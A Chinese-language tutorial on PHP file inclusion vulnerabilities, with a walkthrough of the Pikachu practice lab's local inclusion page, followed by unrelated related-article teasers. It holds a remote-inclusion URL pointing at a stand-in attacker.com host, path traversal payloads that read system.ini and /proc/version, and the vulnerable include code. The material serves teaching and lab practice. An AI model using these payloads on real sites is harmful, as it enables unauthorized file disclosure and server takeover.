文件包含漏洞: 函数,实例[pikachu_file_inclusion_local]
文件包含
文件包含是一种较为常见技术,允许程序员在不同的脚本或程序中重用代码或调用文件
主要作用和用途:
-
代码重用:通过将通用函数或代码段放入单独的文件中,可以在多个脚本中包含这些文件,避免重复编写相同代码。
-
模块化设计:文件包含支持模块化编程,有助于将大型应用程序分解为更小、更易于管理的模块。
-
功能分离:将不同的功能实现分离到不同的文件中,使得代码结构更加清晰,便于维护和更新。
文件包含简单示例
使用include函数,在代码中引用html头部和尾部标签,实现网页的编写
index.php<?php
// 包含头部文件
include "header.php";// 页面的主要内容
echo "<h1>欢迎来到首页</h1>";
echo "<p>这是一个示例页面。</p>";// 包含尾部文件
include "footer.php";
?>
html头部文件
header.php
<!DOCTYPE html>
<html>
<head><title>示例页面</title><meta charset="UTF-8"><script src="script.js"></script>
</head>
<body>
html尾部文件
footer.php</body>
</html>
PHP常见的文件包含函数
| 函数 | 用法 | 介绍 | 主要用途 |
|---|---|---|---|
| include() | include 'filename.php'; | 包含并执行指定文件。如果文件不存在,将产生警告,但脚本会继续执行。 | 用于包含那些可能会重复使用的代码文件,如配置文件、库文件等。 |
| require() | require 'filename.php'; | 包含并执行指定文件。如果文件不存在,将产生错误,脚本会终止执行。 | 用于包含那些对脚本至关重要的文件,如初始化脚本。 |
| include_once() | include_once 'filename.php'; | 如果文件已经被包含,则不会再次包含。执行效果与include()相同。 | 用于包含那些在整个脚本执行过程中只需要包含一次的文件。 |
| require_once() | require_once 'filename.php'; | 如果文件已经被包含,则不会再次包含。执行效果与require()相同。 | 用于确保关键文件在整个脚本执行过程中只被加载一次。 |
| require_all()* | require_all 'directory/'; | 不标准:递归包含指定目录下的所有PHP文件。具体实现可能因环境而异。 |
文件包含漏洞
原理
当网站引入了代码或程序,且并没有对来源进行严格的校验时,就可能产生文件包含漏洞
漏洞类型
1.本地文件包含:网站包含本地服务器文件
危害:敏感文件泄露
url示例:http://example.com/page.php?file=info.php
2.远程文件包含:网站包含远程服务器文件
危害:引用外部木马文件,服务器窃取
url示例:http://example.com/page.php?file=http://attacker.com/remote.php
攻击流程
<1.寻找可能存在该漏洞的网站,如url中携带[file,file=http,FileName]等参数的网站
<2.更改文件引用路径,尝试读取本地文件,或引用外部服务器文件
<3.尝试使用伪协议执行命令,或查找文件
漏洞实例
本地文件包含[pikachu_file_inclusion_local]源码讲解
源码解读
if(isset($_GET['submit']) && $_GET['filename']!=null){$filename=$_GET['filename'];include "include/$filename";
}
1.判断前端传递参数,中是否存在submit参数,并且filename参数值为非空
<1 使用isset函数检查变量是否存在且非空
<2 使用比较运算符 != 判断参数filename的值不为空
<3 使用 逻辑与 && 将上述两个条件表达式进行拼接
<4 条件表达式同为真(true),执行if内的代码块
2.创建变量filename接收前端参数filename的值
<1 创建变量filename接收前端filename的值
3.将其拼接进include路径下,并使用include进行包含
<1 将获取到的变量名拼接入,当前路径下的include文件夹路径下
<2 PHP解释器在执行include语句时,解析字符串中的变量,并用变量的值进行替换
<3 如果文件存在,会进行读取并显示
攻击流程
1.寻找攻击点
fi_local.php?filename=file2.php&submit=%E6%8F%90%E4%BA%A4

更改不同选项提交,参数filename的值随打开不同的文件,进行切换
2.更改携带参数观察页面状态
此处显示报错,并回显得出信息。
<1>windows系统
<2> 网站目录:F:\php-study\WWW\pikachu\pikachu\vul\fileinclude\fi_local.php
3.读取系统文件,并在无报错回显情况下,查询信息
原理:(../)可以查询上级目录下内容,且如果多个连用时可以忽视目录层级进行文件查询
windows系统配置文件:../../../../../windows/system.ini

linux内核信息文件:../../../../../../../../../../../../proc/version

#如果没显示,尝试多写几层
相关文章:
文件包含漏洞: 函数,实例[pikachu_file_inclusion_local]
文件包含 文件包含是一种较为常见技术,允许程序员在不同的脚本或程序中重用代码或调用文件 主要作用和用途: 代码重用:通过将通用函数或代码段放入单独的文件中,可以在多个脚本中包含这些文件,避免重复编写相同代码。…...
学习计划2024下半年
基础: 学习《算法第4版》,学习leetcode上的面试经典150题,使用C完成;再看一般《深入理解计算机系统》语言: 学习go语言,并且用它写一个小软件(还没想好什么),写一个pingtool程序编程思想: 阅读经…...
RabbitMQ的学习和模拟实现|sqlite轻量级数据库的介绍和简单使用
SQLite3 项目仓库:https://github.com/ffengc/HareMQ SQLite3 什么是SQLite为什么需要用SQLite官方文档封装Helper进行一些实验 什么是SQLite SQLite是一个进程内的轻量级数据库,它实现了自给自足的、无服务器的、零配置的、事务性的 SQL数据库引擎…...
AI批量剪辑,批量发布大模型矩阵系统搭建开发
目录 前言 一、AI矩阵系统功能 二、AI批量剪辑可以解决什么问题? 总结: 前言 基于ai生成或剪辑视频的原理,利用ai将原视频进行混剪,生成新的视频素材。ai会将剪辑好的视频加上标题,批量发布到各个自媒体账号上。这…...
SpringMVC源码深度解析(中)
接上一遍博客《SpringMVC源码深度解析(上)》继续聊。最后聊到了SpringMVC的九大组建的初始化,以 HandlerMapping为例,SpringMVC提供了三个实现了,分别是:BeanNameUrlHandlerMapping、RequestMappingHandlerMapping、RouterFunctio…...
Mojo模型动态批处理:智能预测的终极武器
标题:Mojo模型动态批处理:智能预测的终极武器 在机器学习领域,模型的灵活性和可扩展性是至关重要的。Mojo模型(Model-as-a-Service)提供了一种将机器学习模型部署为服务的方式,允许开发者和数据科学家轻松…...
人、智能、机器人……
在遥远的未来之城,智能时代如同晨曦般照亮了每一个角落,万物互联,机器智能与人类智慧交织成一幅前所未有的图景。这座城市,既是科技的盛宴,也是人性与情感深刻反思的舞台。 寓言:《智光与心影》 在智能之…...
SpringCloud------Sentinel(微服务保护)
目录 雪崩问题 处理方式!!!技术选型 Sentinel 启动命令使用步骤引入依赖配置控制台地址 访问微服务触发监控 限流规则------故障预防流控模式流控效果 FeignClient整合Sentinel线程隔离-------故障处理线程池隔离和信号量隔离编辑 两种方式优缺点设置方式 熔断降级-----…...
【无标题】Elasticsearch for windows
一、windows安装Elasticsearch 1、Elasticsearch:用于存储数据、计算和搜索; 2、Logstash/Beats:用于数据搜集 3、Kibana:用于数据可视化 以上三个被称为ELK,常用语日志搜集、系统监控和状态分析 Elasticsearch安…...
Yolo-World网络模型结构及原理分析(一)——YOLO检测器
文章目录 概要一、整体架构分析二、详细结构分析YOLO检测器1. Backbone2. Head3.各模块的过程和作用Conv卷积模块C2F模块BottleNeck模块SPPF模块Upsampling模块Concat模块 概要 尽管YOLO(You Only Look Once)系列的对象检测器在效率和实用性方面表现出色…...
WEB前端06-BOM对象
BOM浏览器对象模型 浏览器对象模型:将浏览器的各个组成部分封装成对象。是用于描述浏览器中对象与对象之间层次关系的模型,提供了独立于页面内容、并能够与浏览器窗口进行交互的对象结构。 组成部分 Window:浏览器窗口对象 Navigator&…...
Android11 framework 禁止三方应用开机自启动
Android11应用自启动限制 大纲 Android11应用自启动限制分析验证猜想:Android11 AOSP是否自带禁止三方应用监听BOOT_COMPLETED方案禁止执行非系统应用监听到BOOT_COMPLETED后的代码逻辑在执行启动时判断其启动的广播接收器一棍子打死方案(慎用&#…...
Java | Leetcode Java题解之第263题丑数
题目: 题解: class Solution {public boolean isUgly(int n) {if (n < 0) {return false;}int[] factors {2, 3, 5};for (int factor : factors) {while (n % factor 0) {n / factor;}}return n 1;} }...
将AWS RDS MySQL实例从存储未加密改为加密的方案
问题描述: 因为AWS RDS官方文档【1】中已经明确说明,MySQL RDS的存储为EBS卷,用KMS进行RDS加密有如下限制: 您只能在创建RDS的时候,选择加密。对于已经创建的RDS实例,您无法将为加密的实例,直…...
nginx的配置:TLSv1 TLSv1.1 被暴露不安全
要在 Nginx 配置中禁用不安全的 SSL 协议(如 TLSv1 和 TLSv1.1),并仅启用更安全的协议(如 TLSv1.2 和 TLSv1.3),您可以更新您的 Nginx 配置文件。下面是一个示例配置: # 位于 Nginx 配置文件 (…...
揭开黑箱:目标检测中可解释性的重要性与实现
揭开黑箱:目标检测中可解释性的重要性与实现 在深度学习的目标检测任务中,模型的准确性虽然重要,但模型的决策过程是否透明也同样关键。可解释性(Explainability)是指模型能够为其预测结果提供清晰、可理解的解释。本…...
Mysql高价语句
一.高级语法的查询语句 1.排序语法(默认的排序方式就是升序)。 升序ASC:select * from test01 order by name; 降序DESC:select * from test01 order by name desc; 多个列排序:以多个列作为排序,只有第一…...
ArcGIS Pro SDK (九)几何 6 包络
ArcGIS Pro SDK (九)几何 6 包络 文章目录 ArcGIS Pro SDK (九)几何 6 包络1 构造包络2 构造包络 - 从 JSON 字符串3 合并两个包络4 与两个包络相交5 展开包络6 更新包络的坐标 环境:Visual Studio 2022 .NET6 ArcGI…...
单链表<数据结构 C版>
目录 概念 链表的单个结点 链表的打印操作 新结点的申请 尾部插入 头部插入 尾部删除 头部删除 查找 在指定位置之前插入数据 在任意位置之后插入数据 测试运行一下: 删除pos结点 删除pos之后结点 销毁链表 概念 单链表是一种在物理存储结构上非连续、非顺序…...
监控电脑进程,避免程序在打开前就已经在运行
文章目录 一、文章的目的(适用于windows)二、处理方式三、进程查看的内容在窗口端的演示四、附上代码例子四、通过os.kill的方式,再回到原来的表格时,会出现如下错误提示: 一、文章的目的(适用于windows&am…...
从IR压降到远程采样:大电流PCB供电设计的实战经验与陷阱规避
1. 项目背景与问题浮现几年前,我参与了一个项目,主电源是一个标准的开放式机架电源,需要为一个位于机箱内相对较远的模块提供5V、约20A的直流电。最初的供电路径设计是依靠PCB走线,我们使用了1盎司铜厚的板材。问题很快就出现了&a…...
【JWT】JWS与JWE实战解析:从结构差异到安全选型指南
1. JWT、JWS与JWE的核心概念解析 第一次接触JWT相关技术时,我也曾被各种缩写搞得晕头转向。直到在真实项目中踩过几次坑,才真正理解它们之间的关系。简单来说,JWT就像是一个快递包裹,而JWS和JWE则是两种不同的包装方式——前者像…...
Windows上快速安装APK的终极指南:APK Installer完整使用教程
Windows上快速安装APK的终极指南:APK Installer完整使用教程 【免费下载链接】APK-Installer An Android Application Installer for Windows 项目地址: https://gitcode.com/GitHub_Trending/ap/APK-Installer 你是否曾经需要在Windows电脑上运行Android应用…...
SAP IM投资管理:从后台配置到前台应用的实战指南
1. SAP IM投资管理模块入门指南 第一次接触SAP IM模块时,我被这个看似复杂但功能强大的系统深深吸引。IM(Investment Management)投资管理模块是SAP系统中专门用于管理企业资本性支出的核心组件,它能够帮助企业实现从预算分配到最…...
3分钟掌握GeoJSON.io:零代码地理数据可视化的革命性工具
3分钟掌握GeoJSON.io:零代码地理数据可视化的革命性工具 【免费下载链接】geojson.io A quick, simple tool for creating, viewing, and sharing spatial data 项目地址: https://gitcode.com/gh_mirrors/ge/geojson.io 还在为复杂的地理信息系统软件而烦恼…...
mmdetection环境搭建避坑指南:从CUDA版本、pip源到Gitee镜像的全流程优化
MMDetection环境搭建全流程优化:从版本匹配到镜像加速的实战指南 在计算机视觉领域,OpenMMLab系列工具包已经成为许多研究者和开发者的首选。作为其中的核心检测库,MMDetection凭借其模块化设计和丰富的预训练模型,极大地简化了目…...
AI产品技能库:将顶尖产品智慧注入Claude Code的实战指南
1. 项目概述:当AI助手遇上产品大师的智慧如果你是一名产品经理、创业者,或者任何需要与产品打交道的人,最近可能已经感受到了AI助手带来的效率革命。无论是用Claude Code写代码,还是用ChatGPT梳理思路,这些工具正在成为…...
5个核心功能:彻底掌握Nexus Mods App模组管理技巧
5个核心功能:彻底掌握Nexus Mods App模组管理技巧 【免费下载链接】NexusMods.App Home of the development of the Nexus Mods App 项目地址: https://gitcode.com/gh_mirrors/ne/NexusMods.App Nexus Mods App是一款革命性的游戏模组管理器,专为…...
3分钟搞定!VideoDownloadHelper视频下载插件终极安装使用指南
3分钟搞定!VideoDownloadHelper视频下载插件终极安装使用指南 【免费下载链接】VideoDownloadHelper Chrome Extension to Help Download Video for Some Video Sites. 项目地址: https://gitcode.com/gh_mirrors/vi/VideoDownloadHelper 还在为无法保存网页…...
AI Agent与DevOps融合:自动化开发与运维的智能体工具链
AI Agent与DevOps深度融合:打造全链路自动化开发运维的智能体工具链实践指南 摘要/引言 你有没有遇到过这些DevOps场景的痛点:凌晨3点收到线上告警,爬起来翻几百条日志排查根因花了40分钟,业务已经损失了几十万;团队100个开发每天提交200+MR,DevOps团队光做代码审查就要…...
